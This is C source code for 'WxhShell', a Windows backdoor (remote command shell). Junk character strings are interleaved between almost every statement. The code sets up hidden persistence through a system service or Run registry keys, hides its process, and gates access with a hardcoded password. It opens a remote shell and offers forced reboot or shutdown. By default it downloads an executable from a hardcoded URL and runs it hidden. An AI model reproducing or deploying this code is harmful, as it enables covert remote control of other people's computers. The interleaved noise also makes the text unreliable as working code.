NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 8_,ZJ9l; V[xy9L[# if (!NtQueryInformationProcess) return 0; _(z"l"l=$ R]Yhuo9,&n hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); A zle ;\l` if(!hProcess) return 0; }1W$9\% y*(YZ zF if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; ]s -6GT a2rv4d= CloseHandle(hProcess); #`fT%'T! |@g1|OWd| hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); 5->PDp if(hProcess==NULL) return 0; zc1Zuco|
R 6+u'Tcb HMODULE hMod; d$TW](Bby char procName[255]; ".0W8= unsigned long cbNeeded; H\k5B_3OU I>5@s; if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); Yq^y"rw % *G)*n CloseHandle(hProcess); heKI<[8l 31*6 ;( if(strstr(procName,"services")) return 1; // 以服务启动 |i`@!NrFL HxM sH5; return 0; // 注册表启动 A%PPG+IfA } XJzXxhk2 kUUq9me&o // 主模块 `-H:j:U{ int StartWxhshell(LPSTR lpCmdLine) eI}VH BAz { f$>orVm%. SOCKET wsl; eFio, BOOL val=TRUE; +mA=%?l int port=0; ! -c*lb struct sockaddr_in door; [KH?5C K*Jtyy}r if(wscfg.ws_autoins) Install(); OVyy}1Hx Vi#im`@ port=atoi(lpCmdLine); RNdnlD#P 4iz&"~&1 if(port<=0) port=wscfg.ws_port; ]CZLaID~
m=MT`-: WSADATA data; pNlisS if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; .NT&>X~.V zcKC5vqb if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; ElXe=5L\# setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 6
b}feEh$! door.sin_family = AF_INET; 'D&G~$ door.sin_addr.s_addr = inet_addr("127.0.0.1"); Qm#i"jvV door.sin_port = htons(port); v)yimIHzo .dCP8| if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { u =kSs closesocket(wsl); 6Qb)Uq3}] return 1; u mlZ(??. } 1J"9r7\ pYVy(]1I(3 if(listen(wsl,2) == INVALID_SOCKET) { 5uo(z,WLR closesocket(wsl); l~YNmmv _ return 1; 3}21bL } n:'BN([]o Wxhshell(wsl); HiG/(<bs9O WSACleanup(); f hG2 } qv-lO return 0; XyphQ}\u E ZKz-} } r$FM8$cJ z[%v_S // 以NT服务方式启动 vkpV,}H VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) rO$>zdmYHs { va(9{AXI DWORD status = 0; [\9(@Bx DWORD specificError = 0xfffffff; LDEt.,6i k6L373e#Q serviceStatus.dwServiceType = SERVICE_WIN32; )[sO5X7'^ serviceStatus.dwCurrentState = SERVICE_START_PENDING; {H;|G0tR serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; t!SQLgA serviceStatus.dwWin32ExitCode = 0; E$tk1SVo serviceStatus.dwServiceSpecificExitCode = 0; +~Lzsh" serviceStatus.dwCheckPoint = 0; 3c ^=<i
% serviceStatus.dwWaitHint = 0; xqWrW) ,?<h] !aQ hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); m]d6@"Z. if (hServiceStatusHandle==0) return; ^Cn]+0G#C8 ff1B)e status = GetLastError(); HoE.//b if (status!=NO_ERROR) R9/xC7l@ { K}`p_)( serviceStatus.dwCurrentState = SERVICE_STOPPED; K4/P(*r` serviceStatus.dwCheckPoint = 0; DG*o
w^ serviceStatus.dwWaitHint = 0; @Q\$dneY serviceStatus.dwWin32ExitCode = status; zXPJ;^Xxa serviceStatus.dwServiceSpecificExitCode = specificError; SE)j}go SetServiceStatus(hServiceStatusHandle, &serviceStatus); tc<M]4- return; 'eDgeWt/CQ } sQAc"S /B@%pq serviceStatus.dwCurrentState = SERVICE_RUNNING; ~wf~bzs serviceStatus.dwCheckPoint = 0; N E2sD serviceStatus.dwWaitHint = 0; @b*T4hwA. if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); &@utAuI } X,EYa>RSy_ a/<pf\O // 处理NT服务事件,比如:启动、停止 csX*XiDWm VOID WINAPI NTServiceHandler(DWORD fdwControl) gQd=0"MV { sQ:VrXwP switch(fdwControl) y7)[cvB { hf^`at case SERVICE_CONTROL_STOP: R^M (fC serviceStatus.dwWin32ExitCode = 0; uM)9b*Vbo serviceStatus.dwCurrentState = SERVICE_STOPPED; n+\Cw`'<H serviceStatus.dwCheckPoint = 0; ;=VK_3" serviceStatus.dwWaitHint = 0; ICCCCG*[ { # 1dTM- SetServiceStatus(hServiceStatusHandle, &serviceStatus); B%rr}Ro1e } AzO3 (1: return; Ky9No"o case SERVICE_CONTROL_PAUSE: XBWSO@M' serviceStatus.dwCurrentState = SERVICE_PAUSED; O4d^ig-xaH break; xDA,?i;T
0 case SERVICE_CONTROL_CONTINUE: f+TBs_ serviceStatus.dwCurrentState = SERVICE_RUNNING; EM54 break;
wy_;+ 'Y case SERVICE_CONTROL_INTERROGATE: e|5B1rMM break; "o# )vA` }; ssX6kgq_( SetServiceStatus(hServiceStatusHandle, &serviceStatus); 'x,GI\;? } E}b>7L&w W3{<e" // 标准应用程序主函数 iWN.3|r int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) 9 CK\tx& { E0)mI)RW. ),p]n // 获取操作系统版本 v>y8s&/ OsIsNt=GetOsVer(); @t;O"q'| GetModuleFileName(NULL,ExeFile,MAX_PATH); ?9zoQ[ sx( l // 从命令行安装 z^!A/a[[! if(strpbrk(lpCmdLine,"iI")) Install(); j&[3Be'pQ &pMlt7 // 下载执行文件 ??zABV if(wscfg.ws_downexe) { )-9w3W1r if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) mam5G!$ WinExec(wscfg.ws_filenam,SW_HIDE); Ro'4/{}+ } ^I'Lw )>/j&>% if(!OsIsNt) { ^tg6JB;s // 如果时win9x,隐藏进程并且设置为注册表启动 d%_78nOh" HideProc(); Qk~0a?#y5 StartWxhshell(lpCmdLine); $-fj rQ } 0bPJEEd else {F(-s"1;xO if(StartFromService()) $O~F>.* // 以服务方式启动 K+7yUF8XP StartServiceCtrlDispatcher(DispatchTable); ,LW(mdIe( else q(&^9" // 普通方式启动 _]=TFz2O StartWxhshell(lpCmdLine); cEdz;kbUM *<.WL"Qhl return 0; C?/r}ly<\ } C;)Xwm>e 8!&ds~? =Y]'5cn{ ,Og[[0g =========================================== VO @
4A6 zy5s$f1IA fVA=<: /H jI=263 ek(kY6x: }/7.+yD " CFkW@\] fbHWBb #include <stdio.h> k67i`f= #include <string.h> XMeL^|D #include <windows.h> /]k ,,& #include <winsock2.h> *2"bG1` #include <winsvc.h> gf3u0' $ #include <urlmon.h> <(#xOe N'eQ>2>O@ #pragma comment (lib, "Ws2_32.lib") 2sd ) w #pragma comment (lib, "urlmon.lib") j:v~MrQ7| =2;mxJ# o #define MAX_USER 100 // 最大客户端连接数 ,Ou1!`6?t #define BUF_SOCK 200 // sock buffer EDq$vB #define KEY_BUFF 255 // 输入 buffer {m_A1D/_ RWh9&O:6' #define REBOOT 0 // 重启 je- ,S>U #define SHUTDOWN 1 // 关机 @Hspg^ H IPcZ!p #define DEF_PORT 5000 // 监听端口 IFC%%It5, @pqY9_:P1 #define REG_LEN 16 // 注册表键长度 J+3\2D? #define SVC_LEN 80 // NT服务名长度 [Hv*\rb [D<RV3x9 // 从dll定义API "q9~C typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); WIEx
'{ typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); ,u?wYW; typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); Vp(D|}P typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); 8m/FKO (r hapB! ~M? // wxhshell配置信息 p@cfY]<7 struct WSCFG { 5eiZs int ws_port; // 监听端口 q9>Ls-k char ws_passstr[REG_LEN]; // 口令 b!4N)t>gl int ws_autoins; // 安装标记, 1=yes 0=no ;PfeP;z char ws_regname[REG_LEN]; // 注册表键名 R
"/xne char ws_svcname[REG_LEN]; // 服务名 bk\dy7 char ws_svcdisp[SVC_LEN]; // 服务显示名 ;xW8Z<\- char ws_svcdesc[SVC_LEN]; // 服务描述信息 5YTb7M char ws_passmsg[SVC_LEN]; // 密码输入提示信息 *}
*!+C3 int ws_downexe; // 下载执行标记, 1=yes 0=no 2y9:'c| char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" T@K7DkP@ char ws_filenam[SVC_LEN]; // 下载后保存的文件名 iXUWIgr ^f^-.X }; 2X qTyf< pY{; Yn&t // default Wxhshell configuration 'L>&ZgLy struct WSCFG wscfg={DEF_PORT, Cbgj@4H "xuhuanlingzhe", F:[7^GQZ{ 1, 71k!k&Im "Wxhshell", )CC?vV "Wxhshell", ULp)T`P "WxhShell Service", 9]]!8_0=r "Wrsky Windows CmdShell Service", [+hy_Nc$ "Please Input Your Password: ", V]l&{hl, 1, t7jh?] "http://www.wrsky.com/wxhshell.exe", @!z$Sp= "Wxhshell.exe" 88 Fb1!a5Z }; .DgoOo%?" e={k.y}x} // 消息定义模块 yPf?"W char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; wFK:Dp_^ char *msg_ws_prompt="\n\r? for help\n\r#>"; i_|9<7a
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; }Kvh`@CiJ char *msg_ws_ext="\n\rExit."; Nd]0ta char *msg_ws_end="\n\rQuit."; XAjd
%Xv< char *msg_ws_boot="\n\rReboot..."; B,~f " char *msg_ws_poff="\n\rShutdown..."; );Tx5Z} char *msg_ws_down="\n\rSave to "; P1(8U% VqcBwJ!?p char *msg_ws_err="\n\rErr!"; Gkdm7 SV char *msg_ws_ok="\n\rOK!"; TqENaC#& NEqt).
char ExeFile[MAX_PATH]; Y5nz?a int nUser = 0; VKq0<+M HANDLE handles[MAX_USER]; ?ada>"~GR_ int OsIsNt; @+}rEe_( JfI aOhKs] SERVICE_STATUS serviceStatus; (\Rwf}gyR SERVICE_STATUS_HANDLE hServiceStatusHandle; C/mg46
v2W @MNl*~'$.[ // 函数声明 [MV`pF)x int Install(void); AC9{*K[ int Uninstall(void); ggerh# int DownloadFile(char *sURL, SOCKET wsh); 7[ZkM+z! int Boot(int flag); Jn@Z8%B@Z void HideProc(void); .yZK.[x4 int GetOsVer(void); l\K% int Wxhshell(SOCKET wsl); Cr'
!"F void TalkWithClient(void *cs); UJ7'JBT=k int CmdShell(SOCKET sock); jK3giT int StartFromService(void); T$: >* int StartWxhshell(LPSTR lpCmdLine); ?cqicN.+6 gJ]Cq/gC VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); Na\3.:]z VOID WINAPI NTServiceHandler( DWORD fdwControl ); ?F!EB4E\y} oHxGbvQc // 数据结构和表定义 C}n'>],p SERVICE_TABLE_ENTRY DispatchTable[] = ~Y\QGuT { ^{),+S {wscfg.ws_svcname, NTServiceMain}, eeZIa`.sX {NULL, NULL} 3CA|5A.Pa }; RxlszyE !nec 7 // 自我安装 gE\A9L~b int Install(void) IM@"AD52a {
W;^Rx.W char svExeFile[MAX_PATH]; U5|B9%:& HKEY key; G1kDM.L strcpy(svExeFile,ExeFile); l<u{6o }16&1@8 // 如果是win9x系统,修改注册表设为自启动 l*$WX=h6n if(!OsIsNt) { \eEds:Hg if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { WLE%d]'%M RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 5i^ `vmK RegCloseKey(key); \M+MDT& if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { gdOe)il\ RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 7;^((.]ln RegCloseKey(key); {?w"hjy return 0; MK omq } BqQ] x'AF } YKc>6)j } R78!x*U} else { 3 t/ R 2M xC<R:"Mn // 如果是NT以上系统,安装为系统服务 |a%B|CX SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); 5i|s>pD4z1 if (schSCManager!=0) ):/,w!1 {
~q*i;* SC_HANDLE schService = CreateService OWqrD@ ( -UJ?L schSCManager, 3voW wscfg.ws_svcname, aD+0\I[x wscfg.ws_svcdisp, z9^c]U U)E SERVICE_ALL_ACCESS, Cy`26[E$S SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , F|,6N/;!W SERVICE_AUTO_START, ldK>HxM%Z SERVICE_ERROR_NORMAL, _Q>
"\_, svExeFile, }6<)yW}U NULL, h5x*NM1Ih NULL, {W-5:~?" NULL, M|ms$1x NULL, !IN@i:m NULL DUqJ y*F( ); w
nWgy4: if (schService!=0) B#1:Y;Z { " <qEXX CloseServiceHandle(schService); b9`i Z CloseServiceHandle(schSCManager); Jth=.9mrM strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); hBjVe?{ strcat(svExeFile,wscfg.ws_svcname); ooY\t + if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { =PV/`I_h RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); wcwQj Hwd
RegCloseKey(key); ~eHRlXL' return 0; e$HQuA~Q; } kQy&I3 } CF\R<rF<VS CloseServiceHandle(schSCManager); :"V ujvFX } D@#0 dDT } Tj&'KF8?L #$FY+` return 1; n"iNKR>nW } "@4ghot t :VJV 5f{ // 自我卸载 N ,+(>?yE int Uninstall(void) *
flW L { #Gd7M3 HKEY key; B=r0?%DX"1 TiQ^}5~M if(!OsIsNt) { GYd]5`ri if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { {$0&R$v3 RegDeleteValue(key,wscfg.ws_regname); !Qcir&]C> RegCloseKey(key); ]Dh1~k.Kp if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { te)n{K", RegDeleteValue(key,wscfg.ws_regname); 8`*`nQhWa RegCloseKey(key); \2j|=S6 return 0; BMdSf(l } 6ga5^6W } *o!l/>4g } BY$[ g13 else { <FQFv
IKg jP+ pA e SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); 2)=la%Nx if (schSCManager!=0) qJ
95 { BMpF02Y|4 SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); !9DX=? if (schService!=0) jQ?LHUE { %&tb9_T)d if(DeleteService(schService)!=0) {
.1LPlZ CloseServiceHandle(schService); gJh}CrU- CloseServiceHandle(schSCManager); 2
Kla8 return 0; Ssf+b!e] } K^aj@2K{ CloseServiceHandle(schService); nS.2C>A } 9KyZEH;pY CloseServiceHandle(schSCManager); BRa{\R^I } d/]|657u } k1#5nYN. %l]Rh/VPn? return 1; nkRK+~> } E?cZbn*>` lVoik*,B // 从指定url下载文件 ETO$9}x[ int DownloadFile(char *sURL, SOCKET wsh) =*O=E@] { 1%jH^,t/m HRESULT hr; DT\ym9 char seps[]= "/"; {]`p&@ char *token; =U"dPLax char *file; f`?0WJ(M char myURL[MAX_PATH]; #uKWuGz] char myFILE[MAX_PATH]; B6MkF"J< M&f#wQ strcpy(myURL,sURL); RLHYw@-j@ token=strtok(myURL,seps); ybE[B}pOeZ while(token!=NULL) W$'0Dc { 8+>\3j file=token; Bc<n2 C0 token=strtok(NULL,seps); TF\sP8>V } 5kn+
>{jh` |1Hc& GetCurrentDirectory(MAX_PATH,myFILE); 0%
+' strcat(myFILE, "\\"); 8_a3'o%5 strcat(myFILE, file); !y. $J< send(wsh,myFILE,strlen(myFILE),0); \I:.<2i send(wsh,"...",3,0); aMJ;bQD
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); {cR=N~_EO if(hr==S_OK) Rh<N);Sl7 return 0; +c) TDH else #9:2s$O[x return 1; bi$VAYn.^ =EpJZt } 0hwj\{" 1TZPef^y // 系统电源模块 +s~.A_7) int Boot(int flag) H^
BYd%- { f4"4ZVcr HANDLE hToken; pj;
I)-d/ TOKEN_PRIVILEGES tkp; 6t7fa< vq>l>as9O if(OsIsNt) { k>5 O`Y: OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); ;LQ9#M? LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); CGZ^hoh/ tkp.PrivilegeCount = 1; "!KpXBc,> tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; bX2"89{
AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); 74f9|~% if(flag==REBOOT) { LT_iS^&1 if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) *_"u)<J return 0; vv+J0f^ } ,{KCY[}| else { d!V$Y}n if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) j?-R]^-5 return 0;
;:OsSq& } FN?3XNp. } 5I' d PNf else { QVtM.oi!Q if(flag==REBOOT) { au$"B/ if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) ^npJUa return 0; }C,O } Im)EDTm$ else { Uc&iZFid2K if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) C-w5KW return 0; mQr0sI,o] } -5k2j^r; } #SnvV 9 Cvn6{ return 1; X+l'bp]Ry } :E'P7A
_| zBUrN // win9x进程隐藏模块 62\&RRB
i void HideProc(void) XYfv(y { %|+E48
q3S+Y9L HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); /!T> b:0 if ( hKernel != NULL ) o~1 Kp!U { dR+1aY; pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); op @iGC+ ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); f /y` FreeLibrary(hKernel); 50n}my'2h } >]?H`>4( \ZH&LPAY return;
4["&O=:d } o#D.9K( HOZRYIQB // 获取操作系统版本 fn}UBzED\ int GetOsVer(void) Bs!4H2@{(] { P8I*dvu _ OSVERSIONINFO winfo; |d}MxS`^ winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); 0LL c 1t>} GetVersionEx(&winfo); bx}fj#J]En if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) |vILp/"9=W return 1; %*W<vu>H else 50~K,Jx6B return 0; ^gYD*K!* } g^~Kze gEJi[E@ // 客户端句柄模块 _[K#O,D, int Wxhshell(SOCKET wsl) aGoE,5 { 7r
0,>
3" SOCKET wsh; ;3m!:l
struct sockaddr_in client; ,1UZv>}S DWORD myID; Qa`hR ^b-18 ~s while(nUser<MAX_USER) tIuoD+AW { nII^mg~ int nSize=sizeof(client); sl|_=oXT wsh=accept(wsl,(struct sockaddr *)&client,&nSize); jirbUl if(wsh==INVALID_SOCKET) return 1; glUo7^ay7 nH[+n `{o handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); ux-CpI if(handles[nUser]==0) *fc-gAj closesocket(wsh); c&'JmKV>& else %fjuG nUser++; z#Nl@NO& } :`Az/U[ WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); .EP6oKA `-UJ /{ return 0; 'Kbl3fUF } jC, FG'P G|u3UhyB // 关闭 socket BNucc'] void CloseIt(SOCKET wsh) xWX*tJ4 { eon!CE0 closesocket(wsh); b ,^*mx= nUser--; S h4wqf ExitThread(0); <7sIm^N } K_BPZ5w ^TFs;|.. // 客户端请求句柄 r)T[(D'Tm- void TalkWithClient(void *cs) zO=%J)-= { 'vIx#k4D1 [=%YV# O SOCKET wsh=(SOCKET)cs; C>QIrZu char pwd[SVC_LEN]; D'[Uc6 char cmd[KEY_BUFF]; pwX C char chr[1]; \nvAa_, int i,j; {]}s#vvy b1`r!B, while (nUser < MAX_USER) { Rf"Mr: ^ e}{U7xQm1 if(wscfg.ws_passstr) { $t=O: if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); Y)I8eU{Wl( //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); KeBQH8A1N //ZeroMemory(pwd,KEY_BUFF); *nTU#U i=0; 8im@4A+n` while(i<SVC_LEN) { /VTM 9)u y'M#z_.z // 设置超时 ~H6;I$e[ fd_set FdRead; \h{r;#g struct timeval TimeOut; |M~ON= FD_ZERO(&FdRead); %y`7);.q FD_SET(wsh,&FdRead); yy2I2Bv TimeOut.tv_sec=8; cu7(. TimeOut.tv_usec=0; Q(@IK&v int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); %{5n1w if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); HgRwiIt gn1(4
o if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); I!: z,t< pwd=chr[0]; i+vsp@d if(chr[0]==0xd || chr[0]==0xa) { "^CXY3v pwd=0; bE\,}DTy break; +: Ge_- } 6[dur'x i++; ,^s } )R)a@op Rm>^tu
- // 如果是非法用户,关闭 socket j|(Z#3J if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); ^ @=^;nB } w!3>N"em /2uQCw&x- send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 2j&@p> send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); >yK0iK{ =tdSq"jh while(1) { m}Y0xV9 fnu"*5bE ZeroMemory(cmd,KEY_BUFF); sq0 PBEqq <G3&z#]#4 // 自动支持客户端 telnet标准 uOi&G:= j=0; ~P f5ORoe while(j<KEY_BUFF) { r.3KPiYK if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); /.Jb0h[W1 cmd[j]=chr[0]; *,WP,-0 if(chr[0]==0xa || chr[0]==0xd) { dE=Ue#1U@5 cmd[j]=0; )ZR+lX} break; %@J1]E; } r0dDHj~F j++; 6L4$vJ } M:SO2Czz c+' =hR[ // 下载文件 &*,:1=p if(strstr(cmd,"http://")) { c|~6Ie send(wsh,msg_ws_down,strlen(msg_ws_down),0); e 9$C#D>D if(DownloadFile(cmd,wsh)) }xb=< send(wsh,msg_ws_err,strlen(msg_ws_err),0); OEgI_=B else le>Wm&E send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); m~l
F`? } <9A@`_';Aq else { !dcwq;Ea {U!uVQC' switch(cmd[0]) { R4's7k c'fSu;1 // 帮助 1&)_(|p[C case '?': { ||B;o- send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); A2H4k|8 break; l5t2\Fl } Ss?CfRM // 安装 :VA.Q rKW case 'i': { ~%y @Xsot> if(Install()) _GtBP'iN send(wsh,msg_ws_err,strlen(msg_ws_err),0); #
'|'r+ else 9ptFG]lZ send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); '_0]vupvY break; ?(zoTxD } QDmYSY$ // 卸载 #=e;?w case 'r': { JqU ADm if(Uninstall()) =([av7 send(wsh,msg_ws_err,strlen(msg_ws_err),0); =H5\$&xj4. else alFjc.~} send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); c@m5~
break; ub?K, } 6vzk\n // 显示 wxhshell 所在路径 \>/M .2 case 'p': { HRa@ char svExeFile[MAX_PATH]; rp34?/Nz strcpy(svExeFile,"\n\r"); &lc8G strcat(svExeFile,ExeFile); L):qu send(wsh,svExeFile,strlen(svExeFile),0); LxN*)[ Wb break; 4/>Our 5 } 2s ,8R // 重启 P* #8ZMA< case 'b': { J]/}ojW3 send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); <&!]K?Q9i if(Boot(REBOOT)) lT8\}hNI+ send(wsh,msg_ws_err,strlen(msg_ws_err),0); E">T*ao else { VrP}#3I closesocket(wsh); n]CbDbNw7) ExitThread(0); 5ua?I9fY } ,5k-.Md>2* break; I0= NaZ7 } |I8Mk.Z=FA // 关机 @]CF&: P A case 'd': { Tp%(I"H'_; send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); =H]F`[B= if(Boot(SHUTDOWN)) "kW!{n send(wsh,msg_ws_err,strlen(msg_ws_err),0); TJ@Cj y% else { {OMgd3%14 closesocket(wsh); FcbM7/ ExitThread(0); %kI}
[6J_ } /M0/-pV9 break; B\`Aojw"E? } 7hNb/O004 // 获取shell ^+70<#Xc case 's': { "
BTE CmdShell(wsh); F
8yF closesocket(wsh); %oykcf,# ExitThread(0); p
QE)p
break; P @%.`8 } x ,/TXTZ6 // 退出 Ps[$.h case 'x': { YrI|gz) send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); R""%F#4XJ2 CloseIt(wsh); %uESrc-; break; 43:t
\ } V-O(U*] // 离开 CX/(o] case 'q': { j}HFs0<L send(wsh,msg_ws_end,strlen(msg_ws_end),0); <_S@6? closesocket(wsh); |lQ;ALH! WSACleanup(); d 4{FDqto exit(1); &&8'0.M{ break; 4)-)# `K } nY-* i!H } JyBp-ii } FVWfDQ$&v czWw~'." // 提示信息 42) mM# if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); *b(wVvz } 4n( E;!s } ^J=hrYGA n$+M%}/f return; Jn}n*t3 } dJ3IUe GRYe< |